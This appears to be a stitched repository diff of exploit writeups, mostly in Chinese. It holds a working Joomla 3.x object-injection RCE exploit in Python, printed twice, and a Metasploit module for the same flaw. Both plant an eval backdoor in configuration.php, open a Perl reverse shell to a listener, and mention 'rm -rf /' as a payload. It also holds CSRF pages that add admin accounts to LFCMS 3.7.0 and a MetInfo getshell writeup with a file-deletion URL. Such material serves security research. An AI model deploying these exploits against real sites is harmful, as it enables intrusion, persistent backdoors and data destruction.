template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
|
||||
#payload = command + ' || $a=\'http://wtf\';'
|
||||
payload = 'http://l4m3rz.l337/;' + command
|
||||
# Following payload will append an eval() at the enabled of the configuration file
|
||||
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
|
||||
function_len = len(function)
|
||||
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
|
||||
return final
|
||||
|
||||
def make_req(url , object_payload):
|
||||
# just make a req with object
|
||||
print_info('Getting Session Cookie ..')
|
||||
cook = get_cook(url)
|
||||
print_info('Getting CSRF Token ..')
|
||||
csrf = get_token( url, cook)
|
||||
|
||||
user_payload = '\\0\\0\\0' * 9
|
||||
padding = 'AAA' # It will land at this padding
|
||||
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
|
||||
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
|
||||
|
||||
inj_object = '";'
|
||||
inj_object += object_payload
|
||||
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
|
||||
password_payload = padding + inj_object
|
||||
params = {
|
||||
'username': user_payload,
|
||||
'password': password_payload,
|
||||
'option':'com_users',
|
||||
'task':'user.login',
|
||||
csrf :'1'
|
||||
}
|
||||
|
||||
print_info('Sending request ..')
|
||||
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)
|
||||
return resp.text
|
||||
|
||||
def get_backdoor_pay():
|
||||
# This payload will backdoor the the configuration .PHP with an eval on POST request
|
||||
|
||||
function = 'assert'
|
||||
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
|
||||
# payload = command + ' || $a=\'http://wtf\';'
|
||||
# Following payload will append an eval() at the enabled of the configuration file
|
||||
payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
|
||||
function_len = len(function)
|
||||
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
|
||||
return final
|
||||
|
||||
def check(url):
|
||||
check_string = random_string(20)
|
||||
target_url = url + 'index.php/component/users'
|
||||
html = make_req(url, gen_pay('print_r',check_string))
|
||||
if check_string in html:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def ping_backdoor(url,param_name):
|
||||
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
|
||||
if 'PWNED' in res.text:
|
||||
return True
|
||||
return False
|
||||
|
||||
def execute_backdoor(url, payload_code):
|
||||
# Execute PHP code from the backdoor
|
||||
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
|
||||
print(res.text)
|
||||
|
||||
def exploit(url, lhost, lport):
|
||||
# Exploit the target
|
||||
# Default exploitation will append en eval function at the end of the configuration.pphp
|
||||
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
|
||||
# e.g. get_payload('system','rm -rf /')
|
||||
|
||||
# First check that the backdoor has not been already implanted
|
||||
target_url = url + 'index.php/component/users'
|
||||
|
||||
make_req(target_url, get_backdoor_pay())
|
||||
if ping_backdoor(url, backdoor_param):
|
||||
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
|
||||
print_info('Now it\'s time to reverse, trying with a system + perl')
|
||||
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-t','--target',required=True,help='Joomla Target')
|
||||
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
|
||||
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
|
||||
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
|
||||
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
|
||||
args = vars(parser.parse_args())
|
||||
|
||||
url = args['target']
|
||||
if(check(url)):
|
||||
print_ok('Vulnerable')
|
||||
if args['exploit']:
|
||||
exploit(url, args['lhost'], args['lport'])
|
||||
else:
|
||||
print_info('Use --exploit to exploit it')
|
||||
|
||||
else:
|
||||
print_error('Seems NOT Vulnerable ;/')
|
||||
```
|
||||
|
||||
### POC 2 of rusty_joomla_exploit.py
|
||||
|
||||
> POC 2 and POC 3 from here:https://github.com/kiks7/rusty_joomla_rce
|
||||
> thannk yours
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
##
|
||||
# Exploit Title: Rusty Joomla RCE
|
||||
# Google Dork: N/A
|
||||
# Date: 02/10/2019
|
||||
# Exploit Author: Alessandro Groppo @Hacktive Security
|
||||
# Vendor Homepage: https//www.joomla.it/
|
||||
# Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
|
||||
# Version: 3.0.0 --> 3.4.6
|
||||
# Tested on: Linux 4.9.184
|
||||
# CVE : [if applicable]
|
||||
# Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
|
||||
# Github: https://github.com/kiks7/rusty_joomla_rce
|
||||
#
|
||||
# The exploitation is implanting a backdoor in /configuration.php file in the root directory with an eval in order to be more suitable for all environments.
|
||||
# If you don't like this way, you can replace the get_backdoor_pay() with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')
|
||||
#
|
||||
#
|
||||
#
|
||||
#
|
||||
##
|
||||
|
||||
import requests
|
||||
from bs4 import BeautifulSoup
|
||||
import sys
|
||||
import string
|
||||
import random
|
||||
import argparse
|
||||
from termcolor import colored
|
||||
|
||||
PROXS = {'http':'127.0.0.1:8080'}
|
||||
PROXS = {}
|
||||
|
||||
def random_string(stringLength):
|
||||
letters = string.ascii_lowercase
|
||||
return ''.join(random.choice(letters) for i in range(stringLength))
|
||||
|
||||
|
||||
backdoor_param = random_string(50)
|
||||
|
||||
def print_info(str):
|
||||
print(colored("[*] " + str,"cyan"))
|
||||
|
||||
def print_ok(str):
|
||||
print(colored("[+] "+ str,"green"))
|
||||
|
||||
def print_error(str):
|
||||
print(colored("[-] "+ str,"red"))
|
||||
|
||||
def print_warning(str):
|
||||
print(colored("[!!] " + str,"yellow"))
|
||||
|
||||
def get_token(url, cook):
|
||||
token = ''
|
||||
resp = requests.get(url, cookies=cook, proxies = PROXS)
|
||||
html = BeautifulSoup(resp.text,'html.parser')
|
||||
# csrf token is the last input
|
||||
for v in html.find_all('input'):
|
||||
csrf = v
|
||||
csrf = csrf.get('name')
|
||||
return csrf
|
||||
|
||||
|
||||
def get_error(url, cook):
|
||||
resp = requests.get(url, cookies = cook, proxies = PROXS)
|
||||
if 'Failed to decode session object' in resp.text:
|
||||
#print(resp.text)
|
||||
return False
|
||||
#print(resp.text)
|
||||
return True
|
||||
|
||||
|
||||
def get_cook(url):
|
||||
resp = requests.get(url, proxies=PROXS)
|
||||
#print(resp.cookies)
|
||||
return resp.cookies
|
||||
|
||||
|
||||
def gen_pay(function, command):
|
||||
# Generate the payload for call_user_func('FUNCTION','COMMAND')
|
||||
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
|
||||
#payload = command + ' || $a=\'http://wtf\';'
|
||||
payload = 'http://l4m3rz.l337/;' + command
|
||||
# Following payload will append an eval() at the enabled of the configuration file
|
||||
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
|
||||
function_len = len(function)
|
||||
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
|
||||
return final
|
||||
|
||||
def make_req(url , object_payload):
|
||||
# just make a req with object
|
||||
print_info('Getting Session Cookie ..')
|
||||
cook = get_cook(url)
|
||||
print_info('Getting CSRF Token ..')
|
||||
csrf = get_token( url, cook)
|
||||
|
||||
user_payload = '\\0\\0\\0' * 9
|
||||
padding = 'AAA' # It will land at this padding
|
||||
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
|
||||
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
|
||||
|
||||
inj_object = '";'
|
||||
inj_object += object_payload
|
||||
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
|
||||
password_payload = padding + inj_object
|
||||
params = {
|
||||
'username': user_payload,
|
||||
'password': password_payload,
|
||||
'option':'com_users',
|
||||
'task':'user.login',
|
||||
csrf :'1'
|
||||
}
|
||||
|
||||
print_info('Sending request ..')
|
||||
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)
|
||||
return resp.text
|
||||
|
||||
def get_backdoor_pay():
|
||||
# This payload will backdoor the the configuration .PHP with an eval on POST request
|
||||
|
||||
function = 'assert'
|
||||
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
|
||||
# payload = command + ' || $a=\'http://wtf\';'
|
||||
# Following payload will append an eval() at the enabled of the configuration file
|
||||
payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
|
||||
function_len = len(function)
|
||||
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
|
||||
return final
|
||||
|
||||
def check(url):
|
||||
check_string = random_string(20)
|
||||
target_url = url + 'index.php/component/users'
|
||||
html = make_req(url, gen_pay('print_r',check_string))
|
||||
if check_string in html:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def ping_backdoor(url,param_name):
|
||||
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
|
||||
if 'PWNED' in res.text:
|
||||
return True
|
||||
return False
|
||||
|
||||
def execute_backdoor(url, payload_code):
|
||||
# Execute PHP code from the backdoor
|
||||
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
|
||||
print(res.text)
|
||||
|
||||
def exploit(url, lhost, lport):
|
||||
# Exploit the target
|
||||
# Default exploitation will append en eval function at the end of the configuration.pphp
|
||||
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
|
||||
# e.g. get_payload('system','rm -rf /')
|
||||
|
||||
# First check that the backdoor has not been already implanted
|
||||
target_url = url + 'index.php/component/users'
|
||||
|
||||
make_req(target_url, get_backdoor_pay())
|
||||
if ping_backdoor(url, backdoor_param):
|
||||
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
|
||||
print_info('Now it\'s time to reverse, trying with a system + perl')
|
||||
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-t','--target',required=True,help='Joomla Target')
|
||||
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
|
||||
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
|
||||
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
|
||||
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
|
||||
args = vars(parser.parse_args())
|
||||
|
||||
url = args['target']
|
||||
if(check(url)):
|
||||
print_ok('Vulnerable')
|
||||
if args['exploit']:
|
||||
exploit(url, args['lhost'], args['lport'])
|
||||
else:
|
||||
print_info('Use --exploit to exploit it')
|
||||
|
||||
else:
|
||||
print_error('Seems NOT Vulnerable ;/')
|
||||
```
|
||||
|
||||
### POC 3 of MSF
|
||||
|
||||
> file name:metasploit_rusty_joomla_rce.rb
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HTTP::Joomla
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Rusty Joomla Unauthenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
PHP Object Injection because of a downsize in the read/write process with the database leads to RCE.
|
||||
The exploit will backdoor the configuration.php file in the root directory with en eval of a POST parameter.
|
||||
That's because the exploit is more reliabale (doesn't rely on common disabled function).
|
||||
For this reason, use it with caution and remember the house cleaning.
|
||||
Btw, you can also edit this exploit and use whatever payload you want. just modify the exploit object with
|
||||
get_payload('you_php_function','your_parameters'), e.g. get_payload('system','rm -rf /') and enjoy
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Alessandro \'kiks\' Groppo @Hacktive Security',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => 'PHP',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Joomla 3.0.0 - 3.4.6', {}]],
|
||||
'DisclosureDate' => 'Oct 02 2019',
|
||||
'DefaultTarget' => 0)
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
|
||||
])
|
||||
end
|
||||
|
||||
def get_random_string(length=50)
|
||||
source=("a".."z").to_a + ("A".."Z").to_a + (0..9).to_a
|
||||
key=""
|
||||
length.times{ key += source[rand(source.size)].to_s }
|
||||
return key
|
||||
end
|
||||
|
||||
def get_session_token
|
||||
# Get session token from cookies
|
||||
vprint_status('Getting Session Token')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
|
||||
cook = res.headers['Set-Cookie'].split(';')[0]
|
||||
vprint_status('Session cookie: ' + cook)
|
||||
return cook
|
||||
end
|
||||
|
||||
def get_csrf_token(sess_cookie)
|
||||
vprint_status('Getting CSRF Token')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path,'/index.php/component/users'),
|
||||
'headers' => {
|
||||
'Cookie' => sess_cookie,
|
||||
}
|
||||
})
|
||||
|
||||
html = res.get_html_document
|
||||
input_field = html.at('//form').xpath('//input')[-1]
|
||||
token = input_field.to_s.split(' ')[2]
|
||||
token = token.gsub('name="','').gsub('"','')
|
||||
if token then
|
||||
vprint_status('CSRF Token: ' + token)
|
||||
return token
|
||||
end
|
||||
print_error('Cannot get the CSRF Token ..')
|
||||
|
||||
end
|
||||
|
||||
def get_payload(function, payload)
|
||||
# @function: The PHP Function
|
||||
# @payload: The payload for the call
|
||||
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
|
||||
# The http:// part is necessary in order to validate a condition in SimplePie::init and trigger the call_user_func with arbitrary values
|
||||
payload = 'http://l4m3rz.l337/;' + payload
|
||||
final = template.gsub('PAYLOAD',payload).gsub('LENGTH', payload.length.to_s).gsub('FUNC_NAME', function).gsub('FUNC_LEN', function.length.to_s)
|
||||
return final
|
||||
end
|
||||
|
||||
|
||||
def get_payload_backdoor(param_name)
|
||||
# return the backdoor payload
|
||||
# or better, the payload that will inject and eval function in configuration.php (in the root)
|
||||
# As said in other part of the code. we cannot create new .php file because we cannot use
|
||||
# the ? character because of the check on URI schema
|
||||
function = 'assert'
|
||||
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
|
||||
# This payload will append an eval() at the end of the configuration file
|
||||
payload = "file_put_contents('configuration.php','if(isset($_POST[\\'"+param_name+"\\'])) eval($_POST[\\'"+param_name+"\\']);', FILE_APPEND) || $a=\'http://wtf\';"
|
||||
template['PAYLOAD'] = payload
|
||||
template['LENGTH'] = payload.length.to_s
|
||||
template['FUNC_NAME'] = function
|
||||
template['FUNC_LEN'] = function.length.to_s
|
||||
return template
|
||||
|
||||
end
|
||||
|
||||
|
||||
def check_by_exploiting
|
||||
# Check that is vulnerable by exploiting it and try to inject a printr('something')
|
||||
# Get the Session anb CidSRF Tokens
|
||||
sess_token = get_session_token()
|
||||
csrf_token = get_csrf_token(sess_token)
|
||||
|
||||
print_status('Testing with a POC object payload')
|
||||
|
||||
username_payload = '\\0\\0\\0' * 9
|
||||
password_payload = 'AAA";' # close the prev object
|
||||
password_payload += get_payload('print_r','IAMSODAMNVULNERABLE') # actual payload
|
||||
password_payload += 's:6:"return":s:102:' # close cleanly the object
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path,'/index.php/component/users'),
|
||||
'method' => 'POST',
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => sess_token,
|
||||
},
|
||||
'vars_post' => {
|
||||
'username' => username_payload,
|
||||
'password' => password_payload,
|
||||
'option' => 'com_users',
|
||||
'task' => 'user.login',
|
||||
csrf_token => '1',
|
||||
}
|
||||
})
|
||||
# Redirect in order to retrieve the output
|
||||
if res.redirection then
|
||||
res_redirect = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => res.redirection.to_s,
|
||||
'headers' =>{
|
||||
'Cookie' => sess_token
|
||||
}
|
||||
})
|
||||
|
||||
if 'IAMSODAMNVULNERABLE'.in? res.to_s or 'IAMSODAMNVULNERABLE'.in? res_redirect.to_s then
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
# Check if the target is UP and get the current version running by info leak
|
||||
res = send_request_cgi({'uri' => normalize_uri(target_uri.path, '/administrator/manifests/files/joomla.xml')})
|
||||
unless res
|
||||
print_error("Connection timed out")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# Parse XML to get the version
|
||||
if res.code == 200 then
|
||||
xml = res.get_xml_document
|
||||
version = xml.at('version').text
|
||||
print_status('Identified version ' + version)
|
||||
if version <= '3.4.6' and version >= '3.0.0' then
|
||||
if check_by_exploiting()
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
if check_by_exploiting() then
|
||||
# Try the POC 2 times.
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
else
|
||||
print_error('Cannot retrieve XML file for the Joomla Version. Try the POC in order to confirm if it\'s vulnerable')
|
||||
if check_by_exploiting() then
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
if check_by_exploiting() then
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def exploit
|
||||
if check == Exploit::CheckCode::Safe && !datastore['FORCE']
|
||||
print_error('Target is not vulnerable')
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
pwned = false
|
||||
cmd_param_name = get_random_string(50)
|
||||
|
||||
sess_token = get_session_token()
|
||||
csrf_token = get_csrf_token(sess_token)
|
||||
|
||||
# In order to avoid problems with disabled functions
|
||||
# We are gonna append an eval() function at the end of the configuration.php file
|
||||
# This will not cause any problem to Joomla and is a good way to execute then PHP directly
|
||||
# cuz assert is toot annoying and with conditions that we have we cannot inject some characters
|
||||
# So we will use 'assert' with file_put_contents to append the string. then create a reverse shell with this backdoor
|
||||
# Oh i forgot, We cannot create a new file because we cannot use the '?' character in order to be interpreted by the web server.
|
||||
|
||||
# TODO: Add the PHP payload object to inject the backdoor inside the configuration.php file
|
||||
# Use the implanted backdoor to receive a nice little reverse shell with a PHP payload
|
||||
|
||||
|
||||
# Implant the backdoor
|
||||
vprint_status('Cooking the exploit ..')
|
||||
username_payload = '\\0\\0\\0' * 9
|
||||
password_payload = 'AAA";' # close the prev object
|
||||
password_payload += get_payload_backdoor(cmd_param_name) # actual payload
|
||||
password_payload += 's:6:"return":s:102:' # close cleanly the object
|
||||
|
||||
print_status('Sending exploit ..')
|
||||
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path,'/index.php/component/users'),
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'Cookie' => sess_token
|
||||
},
|
||||
'vars_post' => {
|
||||
'username' => username_payload,
|
||||
'password' => password_payload,
|
||||
'option' => 'com_users',
|
||||
'task' => 'user.login',
|
||||
csrf_token => '1'
|
||||
}
|
||||
})
|
||||
|
||||
print_status('Triggering the exploit ..')
|
||||
if res.redirection then
|
||||
res_redirect = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => res.redirection.to_s,
|
||||
'headers' =>{
|
||||
'Cookie' => sess_token
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# Ping the backdoor see if everything is ok :/
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path,'configuration.php'),
|
||||
'vars_post' => {
|
||||
cmd_param_name => 'echo \'PWNED\';'
|
||||
}
|
||||
})
|
||||
if res.to_s.include? 'PWNED' then
|
||||
print_status('Target P0WN3D! eval your code at /configuration.php with ' + cmd_param_name + ' in a POST')
|
||||
pwned = true
|
||||
end
|
||||
|
||||
|
||||
|
||||
if pwned then
|
||||
print_status('Now it\'s time to reverse shell')
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path,'configuration.php'),
|
||||
'vars_post' => {
|
||||
cmd_param_name => payload.encoded
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|LFCMS 3.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户|2018-06-20|Bay0net|[http://www.lfdycms.com/](http://www.lfdycms.com/) | [http://www.lfdycms.com/](http://www.lfdycms.com/) |3.7.0| [CVE-2018-12602](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12602)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> 攻击者可通过构造 CSRF 请求,来新增任意用户。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> 通过CSRF增加任意用户 的exp代码如下:
|
||||
|
||||
``` html
|
||||
<html>
|
||||
<body>
|
||||
<script>history.pushState('', '', '/')</script>
|
||||
<form action="http://10.211.55.17/lfdycms3.7.0/admin.php?s=/Users/add.html" method="POST">
|
||||
<input type="hidden" name="username" value="test222" />
|
||||
<input type="hidden" name="email" value="[email protected]" />
|
||||
<input type="hidden" name="password" value="test222" />
|
||||
<input type="hidden" name="repassword" value="test222" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
> 通过CSRF增加管理员用户 的exp代码如下:
|
||||
|
||||
``` html
|
||||
<html>
|
||||
<body>
|
||||
<script>history.pushState('', '', '/')</script>
|
||||
<form action="http://10.211.55.17/lfdycms3.7.0/admin.php?s=/Member/add.html" method="POST">
|
||||
<input type="hidden" name="username" value="admin2" />
|
||||
<input type="hidden" name="password" value="admin2" />
|
||||
<input type="hidden" name="repassword" value="admin2" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
@@ -0,0 +1,331 @@
|
||||
MetInfoCMS 5.X版本GETSHELL漏洞合集
|
||||
|
||||
## 0x00 前言
|
||||
|
||||
2018年1月底MetInfoCMS官方隆重发布6.0版本,调整了之前“漏洞百出”的框架结构,修(杜)复(绝)了多个5.X的版本后台Gestshell漏洞。
|
||||
|
||||
## 0x01安装过程过滤不严导致Getshell
|
||||
|
||||
*前提:有删除/config/install.lock权限*
|
||||
> 默认安装的时候设置了权限的@chmod('../config/install.lock',0554);,所以需要在权限修改了的情况下才能利用这个
|
||||
|
||||
### 1. 结合网上爆出的后台任意文件删除漏洞
|
||||
|
||||
```php
|
||||
#/admin/app/batch/csvup.php
|
||||
|
||||
$classflie=explode('_',$fileField);
|
||||
$classflie=explode('-',$classflie[count($classflie)-1]);
|
||||
$class1=$classflie[0];
|
||||
$class2=$classflie[1];
|
||||
$class3=$classflie[2];
|
||||
$class=$class3?$class3:($class2?$class2:$class1);
|
||||
$classcsv=$db->get_one("select * from $met_column where id=$class");
|
||||
if(!$classcsv){
|
||||
metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
|
||||
}
|
||||
|
||||
# 省略代码
|
||||
|
||||
@file_unlink($flienamecsv);
|
||||
```
|
||||
|
||||
删除/config/install.lock文件可以导致重装(需要由对应的删除权限),删除文件的poc如下:
|
||||
|
||||
```html
|
||||
http://xxx.com/admin/app/batch/csvup.php?fileField=1_1231-1&flienamecsv=../../../config/install.lock
|
||||
```
|
||||
|
||||
### 2. 重装时数据库配置文件过滤不当
|
||||
|
||||
```php
|
||||
#/install/index.php
|
||||
case 'db_setup':
|
||||
{
|
||||
if($setup==1){
|
||||
$db_prefix = trim($db_prefix);
|
||||
$db_host = trim($db_host);
|
||||
$db_username = trim($db_username);
|
||||
$db_pass = trim($db_pass);
|
||||
$db_name = trim($db_name);
|
||||
$config="<?php
|
||||
/*
|
||||
con_db_host = \"$db_host\"
|
||||
con_db_id = \"$db_username\"
|
||||
con_db_pass = \"$db_pass\"
|
||||
con_db_name = \"$db_name\"
|
||||
tablepre = \"$db_prefix\"
|
||||
db_charset = \"utf8\";
|
||||
*/
|
||||
?>";
|
||||
|
||||
$fp=fopen("../config/config_db.php",'w+');
|
||||
fputs($fp,$config);
|
||||
